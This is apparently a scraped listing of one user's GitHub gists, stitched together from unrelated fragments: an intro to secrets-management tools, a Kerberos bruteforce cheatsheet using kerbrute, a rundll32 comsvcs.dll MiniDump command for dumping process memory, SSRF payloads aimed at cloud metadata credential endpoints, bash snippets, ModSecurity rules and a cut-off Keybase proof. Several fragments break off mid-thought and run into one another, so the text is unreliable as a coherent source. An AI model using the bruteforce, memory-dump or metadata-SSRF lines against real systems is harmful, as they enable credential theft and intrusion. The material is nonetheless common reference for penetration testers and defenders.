Elia Pinto devzero2000

Currently, there is an explosion of tools that aim to manage secrets for automated, cloud native infrastructure management. Daniel Somerfield did some work classifying the various approaches, but (as far as I know) no one has made a recent effort to summarize the various tools.

This is an attempt to give a quick overview of what can be found out there. The list is alphabetical. There will be tools that are missing, and some of the facts might be wrong--I welcome your corrections. For the purpose, I can be reached via @maxvt on Twitter, or just leave me a comment here.

There is a companion feature matrix of various tools. Comments are welcome in the same manner.

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

	By @JohnLaTwC

	References:
	https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
	https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
	https://twitter.com/SBousseaden/status/1407742041170268166 - Calling MiniDump export by ordinal examples: (comsvcs,#24)

	Detection Examples:

	"C:\Windows\System32\rundll32.exe" C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]
	http://[fd00:ec2::254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data

	#!/bin/bash
	#
	# Almost identical to this one
	# https://stackoverflow.com/questions/3063507/list-goals-targets-in-gnu-make-that-contain-variables-in-their-definition/9524878#9524878
	# but it also filters the program targets (.c, .h, ..)

	SCRIPT='
	/^# Make data base/,/^# Files/d # skip until files section
	/^# Not a target/,+1 d # following target isnt
	/^\.PHONY:/ d # special target

	#!/usr/bin/env bash
	# https://gist.github.com/rverst/1f0b97da3cbeb7d93f4986df6e8e5695

	function chsv_check_version() {
	if [[ $1 =~ ^(0\|[1-9][0-9])\.(0\|[1-9][0-9])\.(0\|[1-9][0-9])(-((0\|[1-9][0-9]\|[0-9][a-zA-Z-][0-9a-zA-Z-])(\.(0\|[1-9][0-9]\|[0-9][a-zA-Z-][0-9a-zA-Z-]))))?(\+([0-9a-zA-Z-]+(\.[0-9a-zA-Z-]+)*))?$ ]]; then
	echo "$1"
	else
	echo ""
	fi
	}

	# Redirect to a different page when a PHP file is uploaded
	SecRule FILES "(?i)\.php$" "t:none,log,redirect:http://cyberis.co.uk,msg:'PHP file upload blocked',id:1"

	# Deny when a semi-colon is found in the 'ip' parameter
	SecRule ARGS:ip ";" "t:none,log,deny,msg:'semi colon test',id:2"


	# Disable ModSecurity for a given page - NOTE THE ESCAPE OF THE '?'
	SecRule REQUEST_URI "/joomla/index.php/component/users/\?task=registration.register" "allow,id:3"

	### Keybase proof

	I hereby claim:

	* I am devzero2000 on github.
	* I am devzero2000 (https://keybase.io/devzero2000) on keybase.
	* I have a public key ASAwOz2KIye4UTgCae5PwxusSh1BOdjZ3ryEaTZvrFYThQo

	To claim this, I am signing this object: